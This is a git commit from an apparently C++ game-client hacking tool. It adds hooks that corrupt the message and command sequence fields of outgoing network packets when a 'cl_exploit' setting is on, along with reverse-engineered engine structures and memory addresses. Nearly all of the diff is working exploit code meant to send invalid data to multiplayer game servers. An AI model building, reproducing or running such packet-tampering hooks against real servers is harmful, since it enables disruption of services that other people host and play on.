Document exploit

This commit is contained in:
6arelyFuture 2021-11-17 16:18:39 +00:00
parent 42f1f31352
commit 0a93f152f6
No known key found for this signature in database
GPG Key ID: E883E2BC9657D955
3 changed files with 131 additions and 7 deletions

View File

@ -10,15 +10,46 @@ namespace exploit
{ {
game::dvar_t* cl_exploit; game::dvar_t* cl_exploit;
void cl_netchan_transmit_stub(int a1, unsigned char* data, int size) /*
* void CL_Netchan_Transmit(netchan_t* chan, unsigned char* data, int a3)
* A brief description of data: the first few bytes contain information from clientConnection_t structure
* Offset 0: ServerID Size : 1
* Offset 1: serverMessageSequence Size: 4
* Offset 5: serverCommandSequence Size 4
* One clean way of sending invalid data to the server is to hook the functions that write the info to the packet
* Credit: https://stackoverflow.com/questions/58981714/how-do-i-change-the-value-of-a-single-byte-in-a-uint32-t-variable
*/
void write_message_sequence(game::msg_t* msg, int data)
{ {
if (cl_exploit->current.enabled) if (msg->maxsize - msg->cursize < sizeof(int))
{ {
data[1] = 0xAA; msg->overflowed = TRUE;
data[8] = 0x80; return;
} }
reinterpret_cast<void (*)(int, unsigned char*, int)>(0x4400E0)(a1, data, size); if (cl_exploit->current.enabled)
data = (data & 0xFFFFFF00) | 0xAAu;
auto dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
*dest = data;
msg->cursize += sizeof(int);
}
void write_command_sequence(game::msg_t* msg, int data)
{
if (msg->maxsize - msg->cursize < sizeof(int))
{
msg->overflowed = TRUE;
return;
}
if (cl_exploit->current.enabled)
data = (data & 0x00FFFFFF) | (0x80u << 24);
auto dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
*dest = data;
msg->cursize += sizeof(int);
} }
class component final : public component_interface class component final : public component_interface
@ -31,7 +62,8 @@ namespace exploit
add_exploit_commands(); add_exploit_commands();
add_key_hooks(); add_key_hooks();
utils::hook::call(0x420E40, cl_netchan_transmit_stub); utils::hook::call(0x420B76, write_message_sequence);
utils::hook::call(0x420B86, write_command_sequence);
} }
private: private:

View File

@ -26,6 +26,18 @@ namespace game
const char** argv[8]; const char** argv[8];
}; };
typedef enum
{
ERR_FATAL = 0x0,
ERR_DROP = 0x1,
ERR_SERVERDISCONNECT = 0x2,
ERR_DISCONNECT = 0x3,
ERR_SCRIPT = 0x4,
ERR_SCRIPT_DROP = 0x5,
ERR_LOCALIZATION = 0x6,
ERR_MAPLOADERRORSUMMARY = 0x7
} errorParm_t;
enum class LocalClientNum_t enum class LocalClientNum_t
{ {
LOCAL_CLIENT_0 = 0, LOCAL_CLIENT_0 = 0,
@ -83,6 +95,55 @@ namespace game
int lastEntityRef; int lastEntityRef;
}; };
struct netProfilePacket_t
{
int iTime;
int iSize;
int bFragment;
};
struct netProfileStream_t
{
netProfilePacket_t packets[60];
int iCurrPacket;
int iBytesPerSeconds;
int iLastBPSCalcTime;
int iCountedPackets;
int iCountedFragments;
int iFragmentPercentage;
int iLargestPacket;
int iSmallestPacket;
};
struct netProfileInfo_t
{
netProfileStream_t send;
netProfileStream_t recieve;
};
struct netchan_t
{
int outgoingSequence;
netsrc_t sock;
int dropped;
int incomingSequence;
netadr_s remoteAddress;
int qport;
int fragmentSequence;
int fragmentLength;
unsigned char* fragmentBuffer;
int fragmentBufferSize;
int unsentFragments;
int unsentFragmentStart;
int unsentLength;
unsigned char* unsentBuffer;
int unsentBufferSize;
netProfileInfo_t prof;
};
static_assert(sizeof(netchan_t) == 0x630);
static_assert(sizeof(netProfileInfo_t) == 0x5E0);
struct XZoneInfo struct XZoneInfo
{ {
const char* name; const char* name;
@ -761,4 +822,34 @@ namespace game
}; };
static_assert(sizeof(pml_t) == 140); static_assert(sizeof(pml_t) == 140);
struct clientConnection_t
{
int qport; // 0
int clientNum; // 4
int lastPacketSentTime; // 8
int lastPacketTime; // 12
netadr_s serverAddress; // 16
int connectTime; // 40
int connectPacketCount; // 44
char serverMessage[256]; // 48
int challenge; // 304
int checksumFeed; // 308
int reliableSequence; // 312
int reliableAcknowledge; // 316
char reliableCommands[128][1024]; // 320
int serverMessageSequence; // 131392
int serverCommandSequence; // 131396
int lastExecutedServerCommand; // 131400
char serverCommands[128][1024]; // 131404
bool isServerRestarting; // 262476
char clientDemo[16592]; // 262480
netchan_t netchan; // 279072
char netchanOutgoingBuffer[2048]; // 280656
char netchanIncomingBuffer[65536]; // 282704
netProfileInfo_t OOBProf; // 348240
short statPacketsToSend; // 349744
int statPacketSendTime[10]; // From here it might be wrong
int currentGamestatePacket;
};
} }

View File

@ -5,6 +5,7 @@
namespace game namespace game
{ {
// Functions // Functions
WEAK symbol<void(errorParm_t, const char* fmt, ...)> Com_Error{0x4A6660};
WEAK symbol<const char*(int index)> ConcatArgs{0x539060}; WEAK symbol<const char*(int index)> ConcatArgs{0x539060};
WEAK symbol<void(LocalClientNum_t, const char* text)> Cbuf_AddText{0x4C1030}; WEAK symbol<void(LocalClientNum_t, const char* text)> Cbuf_AddText{0x4C1030};
WEAK symbol<void(LocalClientNum_t, const char* text)> Cbuf_InsertText{0x429920}; WEAK symbol<void(LocalClientNum_t, const char* text)> Cbuf_InsertText{0x429920};
@ -37,5 +38,5 @@ namespace game
// Variables // Variables
WEAK symbol<CmdArgs> cmd_args{0x1C96850}; WEAK symbol<CmdArgs> cmd_args{0x1C96850};
WEAK symbol<PlayerKeyState> playerKeys{0xB3A38C}; WEAK symbol<PlayerKeyState> playerKeys{0xB3A38C};
WEAK symbol<netadr_s> server_remote{0xB3D370}; WEAK symbol<clientConnection_t> localClientConnection{0xB3D360};
} }